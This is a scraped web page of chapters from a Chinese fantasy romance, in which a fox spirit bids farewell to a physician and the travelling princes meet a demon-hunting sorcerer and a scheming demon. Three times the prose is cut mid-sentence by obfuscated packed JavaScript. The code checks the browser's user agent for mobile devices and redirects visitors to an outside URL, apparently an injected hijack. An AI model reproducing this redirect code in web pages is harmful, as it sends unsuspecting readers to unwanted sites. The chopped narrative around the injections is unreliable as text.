裴浩道:“知道。不过那心法口诀对于静心凝神很有效果,我会在需要时自己念念,绝不传给他人。” 最后,青崖转向长山,还没开口,长山直接道:“告辞。” 他再没多说一个字,行礼告别,转身迈步,动作流畅地一气呵成。 相处三个月,平日里最爱叮咛关照自己的人,临走想听他说些什么,他竟只留下两个字。 青崖目瞪口呆望着远去的背影,感到喉咙酸涩,为长山的潇洒生出几分气恼,也负气转身,原路返回,耳朵却专注于三人越来越远、终于难以捕捉的脚步声。 直到完全听不到他们的动静,余她独自一人在空旷寂静的山路上,怔怔地站住,缓缓回头,只见荒草萋萋,清风吹叶,一个人影也没有。 他们走了。 除姐姐以外,世上仅有的,认得她并记得她的人,离去了。 虽然口上说“有缘会再相逢”,但人妖殊途,天地广大,重逢其实是件很难很难的事。 久违的寂静空气像变得有重量,压得她蹲坐在地,落下泪来。 一想到长山那冰冷的“告辞”二字,眼泪掉的更快了。 她用衣袖拭泪,反而越擦越多,正当泪水难以终止时,忽然有脚步声响起,准确来说是一个人急促的跑步声,由远及近,从方才三人离去的方向传来,那人跑得那么快,好像生怕错过什么。 青崖抬头,泪眼朦胧地看到长山气喘吁吁跑了回来。 长山一步步走近,在她面前蹲下,用她熟悉又留恋的温和声音道:“对不起,我以为我能那样离开……” 他拿出手帕为她拭泪,“就是怕姑娘这样,会让我舍不得,所以才什么都没说。” 青崖再也无法忍耐,一下扑到长山肩上,哭着说出心底的愿望:“不要走……” 长山被她撞地坐倒在地,双手撑在地上,犹豫许久才抬起一只手在她后背,轻轻安抚。 “青崖,”长山微微转头,嘴唇不小心擦过她的右耳,声音混合着温热气息一起钻入耳朵,“我将来一定回来找你,好吗?” 青崖勉强止住哭泣,从他肩上抬起头,“多久以后回来找我?” 长山道:“五年后。” “什么?要那么久?” “五年,不算太久吧。”长山语气带有一丝小心地试探,“尤其对你们‘妖’来说。” 青崖一怔,擦掉眼泪,在长山身边坐下。 “你是什么时候知道的?是不是你能感觉到我和姐姐身上的灵?” “灵?” “就是你在仙草植物里感觉到的那种无形之物,我们称之为‘灵’或者‘灵气’。” 此前她曾问长山是否能在别处感觉到灵,长山谎称感觉不到。 “是‘灵’啊,”长山欣然点头,接受了这个名字,“没错,我能感觉到,其实不仅仙草植物里有,人体内也有,通过诊眉心灵脉,就能察觉他们体内的灵,你第一次拉住我的时候,我就像碰到了仙草植物或触到他人灵脉一样,觉察到你体质特异,后来你为我包扎伤口再次碰触,我就确定了,你非凡人,而是像那些仙草植物一样特殊的存在,或许就是传说中的‘妖’。” 长山生怕自己态度不够明朗,补充道:“姑娘是妖也无妨,我认识了你,才知并非人有情有义,妖也有情有义,像姑娘这种热心善良的,在人中也实属难得。” 青崖问:“你告诉阿远裴浩他们了吗?” “没有,但他们自己发现了。” “果然,什么时候发现的?是不是我姐姐灭火那次?” 那次红鸾虽然尽量控制速度让火势看起来自然地渐渐熄灭,但再怎么说,她们一来,吞没烧毁一整栋屋舍的大火就无水自灭,谁都能看出古怪,白衣男子安排纵火就是故意让她们暴露的。 当时,她们没做解释,他们也没有问,一切都心照不宣。 长山道:“果然,那场火是因为你们赶到才那么快熄灭。”又道:“不过陵王与裴侍卫发现你们真实身份的时间的比那更早。” “比那更早?”青崖惊讶,“那是什么时候发现的?怎么发现的?他们……什么态度?” “从玉皇山回来后没多久就发现了。” 青崖:“……” 从玉皇山回来后,也就是相处不到一个月的时候。 *** 最后一次从玉皇山回家后,青崖因为连日上下山奔波、缺乏修炼和被冰刃击伤,导致短暂灵力匮乏、嗜睡。 有一次她在屋檐下和阿远一起看书时,一不小心睡着了。 当时阿远在她旁边的榻上读书,长山在屋里煎药,裴浩在屋前练剑。 三人几乎同时看到了从青崖脑袋上冒出的毛茸茸白色尖耳朵。他们几乎反应一致:瞪大眼睛确认了那耳朵的确是真的,然后彼此无声地交换眼神,身体石化一般,都不敢动。 在隐蔽的山谷里遇到青崖与红鸾这样两个美丽女子本就奇异,他们在心里早有各自的猜疑,直到此刻,他们的猜疑被那对绝对不属于人的毛耳朵证实了。 青崖无意识地翻了个身,感觉耳朵不太 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许久后,长山打破安静的气氛,沉声道:“无论如何,她们都救了我们的命。” 阿远道:“为了把搜山官兵引走,青崖姐还受了伤,她一定是真心实意帮我们的。” 裴浩也回忆了一下当日情形,点头道:“没错,她们如果想害我们早就害了,而且在下玉皇山之前,我们本来打算要走,是因为外面危险才主动选择留下。那时候她们也只是担心我们,还叫我们自己选择去留,所以不可能对我们有其他打算。” 长山皱了皱眉,很不喜欢他所谓的“其他打算”,道:“我出谷之后一定会为她们的行踪保密。” 他故意只说“我”,然后质疑地看向阿远与裴浩。 阿远道:“我们也一定会保密的。” 裴浩不悦:“怎么?你瞧不起阿远公子和我?她们救了我们的命,难道我们会出卖她们,招术士来捉妖不成?阿远公子本就不支持《捉妖令》。” 停顿片刻,三颗脑袋又凑到一起:“那红鸾姐是什么妖?” “不知你们注意到没有,每次天黑的时候,都会有一只红鸟飞来,”阿远道,“红鸟一叫,青崖姐就起身说要走。” 裴浩:“所以红鸾姐是一只红色的鸟?鸟吃什么?” 阿远道:“虫子吧,很多鸟都吃虫子。” 三人幻想了一下红鸾顶着绝世美人脸一口一口吃虫子的场景,皆脸色发青。 “也有吃植物叶子或种子的鸟,还有喝花蜜的鸟。” “红鸾姐一定是喝花蜜的!” …… 重建木屋时,三人在临时搭的草棚里卧“床”夜谈。 “哎,你们看见那大牛二牛搬木头了吗?力气真大,干活一个顶五个。”裴浩赞叹,“我今天看到他们中的一个对着青草流口水,结合他们体型,‘牛’的简直不要太明显。不是我说,这取名也太随意了,给牛起名就叫大牛二牛,要是熊就叫大熊二熊?虎就叫大虎二虎?” 阿远提问:“那个老工匠是什么妖?” 三人一番争论,都猜不到老工匠是什么,最后结论:老工匠最爱吃鸡,恐怕是个黄鼠狼精。 34. 东风飘兮神灵雨5 “就是这样了。” 长山将他们三人的猜测和盘托出,青崖笑得前仰后合,“老工匠真的只是普通人家的工匠,不是黄鼠狼精。” 长山啊了一声,“原来如此。” 青崖笑道:“你们那么早就知道,怎么从来没问过我们呢?” 长山道:“我们看你们姐妹二人想要隐藏身份,于是也不提起。” “你现在怎么决定提起了?” “因为,”长山注视着她,眼里满是眷恋,“我希望,在走之前能与姑娘坦诚相待,如此,才不枉朋友一场。” 这种想法正合自己的心意,青崖心中一动,问:“那你猜我是什么?” 长山打量着她,“姑娘上次一句话就喝退狼群,莫非真是一只狼?” “就当是吧,我是狼妖,你怕不怕?” 妙龄少女竟是狼妖,任谁知道都会害怕吧? 长山却正色道:“不怕,姑娘与令姐是什么都不重要,我视你们为恩人与朋友,这一点绝对不会改变。” 青崖喜出望外,之前保持距离是因为忌讳身份差别,现在长山不介意她是妖,那是不是可以多留一段时间? 一念起,她立刻揪住长山衣袖,“既然不怕,你可不可以不走?我知道阿远和裴浩必须回去,但你不是说,你家都没了,亲人也没了,你不如也在山谷里住下,日久天长,我们相互作伴?” 青崖所说日久天长相互作伴就像她与姐姐做伴一样,没有什么区别。她自小不受世俗礼教约束,心有所想,便直抒胸臆。 长山闻言一怔,迟疑道:“姑娘可知,对一个男子说这种话……”话说一半,望进青崖乌黑澄澈的眼睛,就明白她根本不知这是怎样一种令人心动的表白。 “对男子说这种话怎么了?”青崖问,“你不愿意留下?这里的仙草灵药很多,你不是想观察它们在其他季节生长的样子吗?” 长山叹气,“算了,没什么。只是在下一介布衣,身有罪,心有仇,没法在这山野间安居乐业,怕是不得不辜负姑娘盛情。” 这是明显的拒绝,青崖怏怏不乐:“那你要去哪里?” 长山道:“我不求出人头地,但求无愧于心。父母之仇,我不可不报。陵王已答应,如果我想从政,他可以暗中托人举荐我。” 青崖道:“你要做官?你父母是病人向官府揭发使用仙草药物后被官府害死的,你报仇,是想针对那病人,还是针对朝廷官员?” 长山眼神深邃起来,他自小除了学习医术药理,父母也要求他读圣贤书,教他做大夫之前,先学会做人。以前他只想做一世良医即可,一朝遭遇家变,胸中圣贤书雕刻出的沟壑显现出来,除了为父母鸣冤报仇,他还有更广阔的志向。 “病人揭发,官府暴虐,这都不是导致我父母惨死的根本原因。” “根本原因是……?” “是规则错误。” 那一刻,长山眼里的坚毅让青崖明白,她留不住他,至少现在不能。 两人久久没有说话,各自看向远方。 “妖真的能长生不老吗?”长山问。 “不能,妖的寿命也不过三百年,姐姐说她听说过的年纪最大的妖也不过三百七十多岁。”提起妖的身份,青崖打起精神警惕起来,她本人全然相信长山,但姐姐的告诫也牢记在心,对同族不利的问题绝不能回答。 不过长山并没再过多打探与妖相关的事,而是感慨:“你们尚且不能长生,《天书》里所谓人吃妖心或妖丹能长生不老之说,定然也是谣传,写书之人以诡言浮说挑起两族矛盾,真是罪大恶极。” 妖心究竟能不能让人长生不老,青崖也不知道,但她也倾向于那是谣言。 遇到如此知音,青崖又有想拥抱长山的冲动,就像那日看到他焚毁《天书》时也有的冲动。 她从袖中拿出一个早就准备好的锦囊,“这个给你。” 长山接过去打开,里面是绸带系着的一缕青丝。 “这是我的头发。有了这个,等你想起回来看我,就可以不受山谷结界的阻碍,很容易找到我们一起盖的房子。” 这意味着,长山知道她是妖,并且可以毫无阻碍地找到她。 长山在感动之余,又极为担忧,“这么重要的东西,姑娘是不是不该随意送人,要知道,东莱国可有规定,捉妖或举报妖的踪迹,皇室都有重赏。” 青崖道:“我知道《捉妖令》,但我相信你。” 长山低头打量手里的锦囊,青丝一缕,重若泰山。 “青崖,这我不能收。”他郑重其事把锦囊按回青崖手里,“我若下次回来找你,当是心愿已了,别无牵挂,打算像你一样隐居山中的时候。” “可是……槐谷周围有结界,我怕你将来在山中迷路,找不到我。” “放心,一日找不到你,我就在山中寻一个月,一月找不到你,我就在山中寻一年。” “若是一年也找不到呢?” “那我就在山中住下。同在一座山里,我们总有机会再相逢。” 青崖心里涌上一阵暖流,若真有人愿意那么执着地找她,确实一定能找到。 “这个你收好,”长山替青崖合拢手指握住装她一缕黑发的锦囊,“世间人心叵测者众多,我一怕弄丢,二怕有人强迫盘问。你身份特殊,我不能拿你的安危冒险。也希望你……希望你不要再把这个轻易送给旁人。” “我明白,你们人族讲究送出去的东西不能再要回来转送他人,”青崖把将锦囊收起,“这个锦囊只当已经是你的,我替你保留,绝不会转送他人,等你将来能回来久住时我再给你。” 长山张了张嘴,欲言又止地点头,没有解释这个请求里所包含的私心。 “你不肯收这个,那我送你一些金羽吧,”青崖拿出另外一个锦囊,里面装有十金与百银,“据说行走世间,少不了金银傍身,你拿着这个,总是有用的。” 长山依旧推辞,青崖强烈要求他收下,再三推辞不下,长山只好接受,他从行囊里拿出纸铺在附近一块平整的大石头上,写下一个工整借据,道:“这些钱财全当是姑娘借给我的,将来连本带利,我一定如数奉还。” 写完字据,他又从行囊底部抽出一个狭长锦盒,“这个也留给你,权当是抵押。” 锦盒里装着的是一支玉簪,是长山冒着生命危险也要去找回的母亲遗物。 青崖心中一喜,明白这是比借据与口头承诺更可靠的信物,只要玉簪在此,长山一定会尽可能早日回来。 “你这人真是古板,”她将借据与锦盒一并收下,笑道:“这些我都收下啦,会好好替你保管的,等你回来就还给你。” 至于金银,长山还不还都无所谓,毕竟她不缺那种东西。阿远裴浩也曾说要回京运送一批金银珠宝给她作谢礼,她都拒绝了。 对她来说,三个月的陪伴比金银更珍贵。 长山把笔墨收回包袱,拿出一沓麻绳捆绑好的纸页道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13518849|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这些也留给你,请你千万谨慎,保重自己。” 那些都是长山最近埋头苦写累积的仙草特性与各种药方,青崖收了,两人不得不再次面对离别。 “回去吧,”长山迈向山脊上一块突起的高地,“你先走,我在这里目送你,这次不要再哭了。” 青崖磨蹭片刻,实在想不出什么可以拖延时间的理由,恋恋不舍往回走,走出几步就忍不住回头,她一回头,长山就向她挥手,他站在山脊上,墨绿色衣摆被风吹得猎猎舞动。 她走到山坡下转了个弯,再也看不到那个山脊和墨绿色的身影了,取出短笛,吹起一支忧伤的曲调,希望山风还能把这笛声吹过山坡,送到长山那边。 *** 回到家里,红鸾正坐在外廊下缝制一件新衣裳。 “你再不回来,我就要去找你了。”红鸾见青崖手里拿着厚厚一叠纸,问道:“那是什么?” 青崖将纸递过去,“长山写的,你看看。” 红鸾狐疑道:“我可以看?” 青崖同样狐疑:“这有什么不可以看?” 红鸾接过那叠纸托在手上掂量了一下,沉甸甸宛如一本书册,鄙夷道:“什么装腔作势的离别信要写这么厚?你可别上当受骗以为他……” 红鸾视线凝在工整的字迹上,不作声了。 随意翻开一页,只见上面写着:温阳保元汤,人参一钱、黄芪三钱、甘草一钱、肉桂一钱,以水煎服。 再翻一页,上书:回魂散,八角莲四朵,天枝二钱,星罗果三枚,研磨成粉,朝露一两,日中调制。 红鸾沉默地从头翻到尾,只见那叠纸前半部全是各种方剂,后半部是各种仙草功效,尤其注明了一些有毒植物,分别用醒目朱砂写着“不可食用”“不可碰触”或“不可长期嗅闻”。 末尾五页是几种花果茶与醒酒汤的配方与熬制方法。 翻到后来,红鸾眼神渐渐柔和,最后理好纸页,还给青崖,道:“收着吧,总算不是完全没用的东西。” 青崖接过那叠纸,用绢布包起来走进屋去。 红鸾坐在门口的位置,一边缝制衣服,一边悄然关注青崖。 青崖把那叠纸放在书房的书架上,她父母游记的旁边。 青崖拿下阿远默写出的游记,快速翻了一遍,放回原位。 青崖把那三人住过的房间都走了一圈,终于收敛心绪,说要开始修炼了。 红鸾收回视线,假意专注于手里的针线。为了清除那三人留下的痕迹,她亲自带着点灵术召出的槐树精将屋子上上下下打扫了一遍,此时到处都整整齐齐,如同从未有外人来住过。 回到自己的房子,确认青崖没有跟来,红鸾从袖子里抽出藏着的卷轴,双手展开。 那是她在长山住过的房间里发现的。卷轴放在书案上,一个等待被发现的位置。 卷轴里是一幅画,画着一个面容姣好的青衣少女,少女骑在白马上,吹着笛子从林间徐徐走出,宛若一位隐逸的仙子。 青崖没有问起这幅画,说明长山没有提起,想让青崖自己发现。 良好的画工和细致的装裱,未经世事的单纯少女最容易为这样用心的惊喜而动心。 绝对不能允许这样的事发生。 红鸾调动灵力,卷轴上的画纸与布料从她握着的地方开始延伸出被烧糊的焦黑色,带着火星的边缘从两边向中间扩散,几缕青烟升起,两片焦黑色最终汇聚在一起,将画像完全吞没。 35. 东风飘兮神灵雨6 清晨,通往泰安的官道上。 今日是赶集的日子,泰安城四面村县的人都带着货物赶往泰安。 位于泰安外城边缘处的茶棚今日生意极好,七八张桌子坐满了人,角落两张桌子前甚至站着一圈人端着碗碟吃喝,把坐在里面的人遮得严严实实。 从官道上走来的三人见没有位置,正想继续往前走,恰好茶棚下靠近里面的一张桌子空了出来。 小二热情招呼:“几位,里边请。” 裴浩拿出五十铢铜钱交给小二,道:“来三份茶点。” “好嘞,客官稍等。” 小二很快端上一壶茶,一盘饼,四碟小菜。 裴浩拎起茶壶,倒了一杯茶递给哲远,那杯茶却被长山半路截走,先喝了一口。 “你干什么?”裴浩不悦地问。 周围坐满了人,因此他不得不压低声音,长山没回答,自顾自掰了一块饼吃,拿起筷子把四样小菜各尝一口,然后对哲远点头:“没问题,可以吃了。” 明白长山是在试毒,裴浩咳了一下,环顾四周,浑身不自在,有点不适应长山的变化。 自从表明愿意接受陵王的举荐,弃医从政后,一向谨小慎微的长山,对陵王的照顾更是无微不至,一改往日的倨傲。 这个变化没有丝毫的奉承意味,而是一个医者抛开对陵王的成见后,表现出的本职品行,也是对将来要辅佐之人的守护。 至于有没有几分情谊,裴浩认为还有待考量,毕竟曾被长山以疗伤为借口灌下许多本没必要吃的苦药粥,他对那苦涩的味道记忆犹新。 哲远则对长山满是感激与敬意,丝毫没有皇子高高在上的架子,对长山道谢后才端起茶杯。 三人都走得饿了,顾不上说话,埋头喝茶吃饼。 茶棚下有几十个人相邻而坐,有的在谈要去买卖的货物,有的打听彼此来处,或陌生或熟悉的都互相搭话,嘈嘈杂杂七嘴八舌,听见有一人说他也是途经他们暂住三月的山谷而来,三人一起竖起了耳朵。 “你从那边来?”与长山他们相隔一桌的人一听来了兴致,拿着筷子站起,大声道:“听说玉皇山东边的山谷里有女仙,你遇到了吗?” 三人咀嚼的动作都慢了下来。 途径那个地方的人皱眉:“女仙?你是说女妖吧?我们县城有人遇到过,说那里有两个女妖,专门抓路人回去吃,让我路过的时候绕着走,还有人报官带人去抓呢,但是官兵和术士去了什么也没找到。” 另有一人插嘴:“找不到的,那边山路怪异的很,总遇到鬼打墙,我看肯定是有女鬼,抓人回去是为了吸食阳气的。” 最开始打听的那个人提高声调道:“什么女鬼,是仙女!有两个,一个是成年仙女,一个是仙女小童,长得一个比一个美,你如果在那附近受伤迷路,他们就会显灵帮你。” 正在这时,一个冷冷的声音冒了出来:“律法规定,见妖不报者为死罪,你可见到过那两个‘仙女’?可有报官?” 那人立刻矮了半截,缩回座位中道:“我没见过,只是听说,听说。” 追问的人却不肯善罢甘休,从人群里站起,他身材魁梧,面带凶气,腰上系着一个银铃,踱步到那人身边去,居高临下问道:“是听说还是见过?” 裴浩悄声道:“腰系银铃,诛邪司的术士。” 诛邪司直属朝廷,是专门捉妖的机构。长山久居土匪山寨,第一次见到这种佩戴银铃的术士,问:“银铃晃动怎么没有声音?” 哲远道:“是诛邪司特有的法器,据说附近有妖,银铃才会响。” “真的灵验吗?” 哲远:“据我所知,只有高阶术士的银铃才灵验,中阶梯术士佩戴只为起到震慑或表明身份的作用,初阶术士则没有资格佩戴。” 在京城,每个皇族身边都有中级以上的术士守护,因此哲远略有了解,诛邪司的术士是最推崇《捉妖令》的一批人。可一般来说,中阶术士只在京城才有,怎么会出现在这里? 那名术士还在继续追问提起仙女的人:“你从何处听说?什么时候听说的?总要有个源头,有源头就是有人见过妖异之象,有人见过就应当报官。” 人群中有人认出他腰间的银铃,窃窃私语:“是诛邪司的术士。” “什么,诛邪司的?” 这个信息迅速在茶棚中的人群里传递,提起山谷仙女的人脸色变得惨白。京城诛邪司佩戴银铃的术士对泰安附近的百姓来说和妖一样罕见,否则绝不会随口在茶棚下聊起与妖相关的话题,因为凡是被诛邪司怀疑的人,都会被抓去拷问,不脱一层皮是不会放出来的。 术士一脚踩上凳子,示威道:“报过官吗?” 众人皆静默,各自低头喝茶,术士从怀里取出一个硬壳折子,拿出毛笔用舌头舔了一舔就准备做记录,摆出审问的姿态道:“说吧,你是从哪听说的?别怕,提供线索有赏钱,你方才说是玉皇山东边的山谷是吗?” 那人嗫嗫嚅嚅道:“……是。” “嗯,玉皇山东侧,”术士在折子上边写边问,“什么时候,从谁那里听说的?” “我……我从不认识的路人那里听说的……” 术士眯起眼睛盯着那人,目光锐利如刀,“知而不报,故意隐瞒?你可知此乃重罪?” 那人发着抖滑跪在地:“术士老爷,小人真的不认识,小人从那路过,和不认识的人结伴走了一段路,他指着一处山谷告诉我的。” 术士审视那人良久,道:“好吧,那你也带我去指一指,是哪个山谷。” 青崖与红鸾居住的山谷距离玉皇山有点远,但也的确是在玉皇山东侧。这人所说女仙正好是两个,只怕真与青崖红鸾有什么关联。 “我也是从那边过来的,”长山开口道,“没遇见什么女仙女妖,但的确不太平,听说那边最近山匪为患,连皇子也在那里失踪了,山里还有许多野狼,路过那里还是小心绕开为妙。” 术士听了这话转身来到他们三人的桌前。 “你们当真是从玉皇山东边过来的?可曾遇到什么妖异?” 哲远淡淡道:“是从那边过来,没有见到任何妖异。” 裴浩也道:“举报妖的踪迹有赏,我最近缺银子,倒是想领点赏钱,可惜真是什么都没见到。” 更可惜哲远公子现在浑身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13545964|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上下没有任何可以证明自己是陵王的东西,否则只要亮出身份,立马就能让这术士安静听令。 长山挽起袖口露出左臂被狼撕咬留下的狰狞疤痕,“我在那里曾被狼群咬伤,险些丧命。有没有妖我不知道,有一群狼却是我亲眼见过的。” 术士打量他手臂上的疤痕,转头看了一下茶棚角落,收起了纸笔。长山看到他右手虎口有一道刀疤。 刀疤手术士坐回自己原来的座位上时,茶棚里一片静谧,在静谧中,有人突兀地哼笑一声。 “你们在山谷中居住三个月,已和女妖熟识,这样说是不愿让术士前去寻找,暴露她们的踪迹吧?” 茶棚一角,站立的人散开,现出一名端坐在后的白衣男子,男子手持一柄折扇,风度翩翩地站起,来到他们桌前坐下,笑意盈盈对哲远拱手,“陵王殿下可是要去泰安城?” 他声音清朗,茶棚里的人都听得清清楚楚,却没有一人侧目,都在自己的位置上继续喝茶吃饭,尽可能各自保持安静,方才还在互相询问对方来处的“陌生人”,突然显出一种同僚之间才有的默契。 哲远惊疑地环顾四周,白衣男子微微一笑,道:“殿下不必紧张,他们都是我的人,是和你们一样讲义气的朋友,我们仰慕殿下大名已久,这次听说殿下遇险,特来护送殿下回京。” 裴浩早已握住剑柄站到哲远身边,厉声问道:“你是谁?” 白衣男子不慌不乱,既无恶意也无惧意,继续对哲远道:“在下有要事与殿下商议,殿下是否需要屏退左右?” 哲远道:“若是诚心商议,就让你的人都退出茶棚。” “今日赶集的人甚多,若有空座,必然会有真正的路人要来坐下喝茶。所以他们不能退出,也没必要退出。”白衣男子道,“我是问殿下你可需要屏退左右?比如这位。”他用扇子指点长山。 “这位是我的朋友,我能知道的事,他也都能知道。” “哪怕是事关生死的秘密?” “没错,”哲远毫不犹豫,“只要他愿意留下就可以留下。” 长山不假思索道:“我愿意留下。” “哦?”白衣男子有些意外地挑眉,“殿下竟能与绑架过你的山匪成为朋友?” 觉察到对方所知信息颇多,哲远忍不住质问:“你到底是谁?叫什么名字?为什么知道我的事?” “在下叫什么名字不重要,重要的是在下的身份,”白衣男子气闲神定拿起桌上的茶壶,“用你族的话说,是一个妖。” 他右手高举茶壶将滚烫茶水倾倒在自己的左手手心,冒着白雾的水落在他手心刹那凝结成冰,化作一把匕首的模样,一壶茶倒完,他手里多了一把晶莹剔透的冰质匕首。 白衣男子放下茶壶,向哲远递过匕首,手柄对着哲远,锋利薄刃对着自己。 “先说两件事,第一,平王已死,是我们杀的,算是初见礼物,以表我们想与殿下合作的诚心。第二,是个坏消息,殿下的侍卫裴涛有勇有谋,参与了我们计划的刺杀行动,不幸为平王的人所害。其余还有几个殿下的人,暂由我们保护,殿下可以随时召见,他们可以证明,在下所说皆是事实。” 36. 岁既晏兮孰华予1 三个外人离开,山谷里的日子恢复宁静。 也不知是不是错觉,青崖感到就连姐姐也比以前更沉默,几乎只有催她修炼时才主动开口讲话。 青崖把书房里的蒲团拖到外廊下,开始每日的修炼,在上面闭目打坐。 调息吐纳,让灵气流经身体—— 长山他们不知走到哪里了,接应阿远的人找到他没有? 那个神秘的白衣男子说会保护陵王,那么首先应当会找机会与阿远认识,深入面谈一番吧?他如果告诉阿远,他会帮助阿远成为太子,条件是阿远即位后要取消《捉妖令》,改变对灵族不利的律法,不知阿远会如何反应? 阿远会不会怀疑我救他帮他是和那个神秘男子提前串通好,为了和他套近乎的?我们的结拜还作不作数? 啊,不能跑神,专注修炼。 阿远知道我与姐姐身份特殊还与我们相处这么久,应该不会见到妖就大惊小怪心怀恐惧,更不会不论善恶就找术士捉妖,但愿那个白衣男子出现时客气稳重一点,别吓到阿远。那人言行举止确实像姐姐所说,十分轻佻,怎么偏偏是这样一个灵带头为灵族做事? 如果我也能参与就好了。 不想了不想了……姐姐催我修炼,她如果检查,发现我毫无进益,又会唠唠叨叨逼我增加修炼时间。 注意聚集灵力—— 我什么时候才能结出灵丹?正常的灵都是二十岁之前结丹,我可以吗?等我结丹后是不是就能自如地运转灵力了? 阿远能成功继位吗?那要多少年之后?等取消《捉妖令》,调整律法,人们就不会捉妖了吗?可是他们相信吃妖能长生不老,就算有律法禁止,一定还是会有人铤而走险捉妖尝试,除非有办法证明这是一条谣言,或者他们能有其他延长寿命的方法,否则人族还是会觊觎妖丹。 …… 杂念太多,根本无法修炼。青崖睁开眼睛。 果然还是得依靠外力辅助。 她在木地板上摆出笔墨纸砚,想像往常那样靠作画入定,提起笔来却迟迟没有落下去。 “唉,有灵根的人也难以修炼,大概就是这个缘故吧,裴浩被哄骗的那几日居然很快就能练到连续打坐一个时辰,他要是有灵根,说不定比我修炼得好。” 自言自语完,青崖勉强想起一种想画的植物,低下头逼迫自己耐着性子描摹勾画。 曲线蜿蜒在纸上勾勒出一朵钟形花朵,这是长在玉皇山顶的仙草“破晓”,长山用它抑制住了阿远体内的“忘忧散”之毒,“破晓”这个名字还是她取的,因为这种植物的花在日出时盛放。 长山既然选择与阿远同路,必然可以继续帮阿远调理身体,只是不知没有“破晓”花,他是否有其他可以使用的仙草灵药?阿远的身体多久能调理好? 对了,仙草灵药不允许其他人使用,皇帝自己的儿子总该可以使用吧?所有的仙草灵药都必须供应给京城皇宫,宫里应该有各种药材,但是……能废杀两个太子的皇帝,似乎不怎么珍爱自己的儿子?如又有意外,裴浩能不能保护好他? 裴浩那么努力练剑、记心法,却学不会“神功”,真是太可惜了。 “嗷呜————” 一声狼嚎响起,青崖才意识到自己已经停笔出神许久,纸上只画出了一朵钟形小花。 她用笔尾端敲着自己的下巴,眼神放空,专心聆听屋后山坡上的狼嚎,第一声长长的狼嚎声落下后,七八只狼遥相呼应,此起彼伏。 山后的狼为什么又跑到山前来?上一次它们跑到山前把长山咬伤后,明明把它们给赶回山后了。 思绪再次被打乱,她索性放下笔,起身去找红鸾坦白:“我静不下心,明日再修炼。” “静不下心?”红鸾问,“你自己研究出的心法呢?用那个也静不下心?” “偶尔也有这样的时候嘛。”其实是压根没有尝试使用心法。 “你在想什么所以静不下心?” “是山上的狼太聒噪了,得把它们赶走,安静的时候我才能好好修炼。” “好,”红鸾放下针线站起身,“我这就去把他们做成烤狼。” “别别别——”青崖拉住红鸾,“别乱杀生,它们也是山谷的一部分,我把他们赶到后面的山坡上去就好了,你不要动手。” 她离开姐姐的屋舍,没有直接到后山坡,而是走到结界外面,找了一棵一人多高的松树,移植到与长山话别的山脊上。 五年后,松树再长高一点的时候,长山就会回来找她了。 青崖拍掉手上的尘土,满意地从不同角度打量那棵松树,心里想着那个墨绿衣衫的身影,恨不能立刻到达五年后。 她去屋后山坡上找到头狼,暴打一顿,赶回后山。 没隔几日,狼嚎声再次于山坡前响起,青崖又把它们赶回后山,安静了些日子,狼群复又返回,如此重复到第三次,她抓住头狼,见到它颈上有被撕咬的伤。 “这是谁咬的?你们怎么回事?为什么突然改变日常活动范围?” 可惜狼不会说话,只以为又要被暴打一顿,在她手中缩着脖颈,闭着眼睛。 青崖驱赶它们,虽也拍打,却从未使用蛮力,以控制恐吓为主,更未曾让他们见血。 “难道山坡那边也有其他人驱赶你们?可那边山坡附近没人啊,是其他猛兽吗?别动!我给你上药,这个药很管用,是上次被你们咬伤的那个人留下的,如果再遇到,你不能伤害他,还得记得谢谢他,知道吗?” 青崖按着它,给它脖子上的伤口涂完药后,松手放它离开,它往前走出两步,回过头用黄褐色的眼睛凝视着她。 狼听不懂人的语言,但似乎明白了她的善意。 青崖问:“怎么,要我跟你走吗?” 狼不会点头,只是回头望着她,等着她,眼神里带着明显的期待。 为了一探究竟,青崖跟随狼走向后山坡。 翻过山头,走出结界,夏日午后的阳光热烈耀眼,好在山林茂盛,树荫之下还算阴凉舒适。一人一狼相伴而行,忽然,远处传来一个小女孩的哭声,与此同时,头狼耳朵尖一动,停下脚步,蹲坐在原地不动了。 荒郊野岭处有人声,想不注意也不行。青崖循声悄悄走去,躲在树后看到远处树影下的山石边有两个小孩,一个十岁出头的男娃娃正在哄一个比他略矮几分的的女娃娃。 女孩穿着素色布衣,整洁干净,男孩身上则只挂着一件不合身的布筒,像是从哪里捡来了一块破布随便围在身上。 不知因为什么,女孩哭得满脸是泪。 小男孩抓耳挠腮地哄她:“……不哭……不哭……是……吾……”发音吃力,如同是有生以来第一次开口讲话。 “呜呜呜——你是谁……?”女孩推开男孩为她拭泪的手,抽着气问。 “我……小……狼……” 男孩越急说话越不流畅,开始握着拳原地转圈,忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那时芊芊五岁,与父母和哥哥在山中赶路,途中一家人歇息时抓了只野鸡烤着吃,不料吸引来一匹狼。 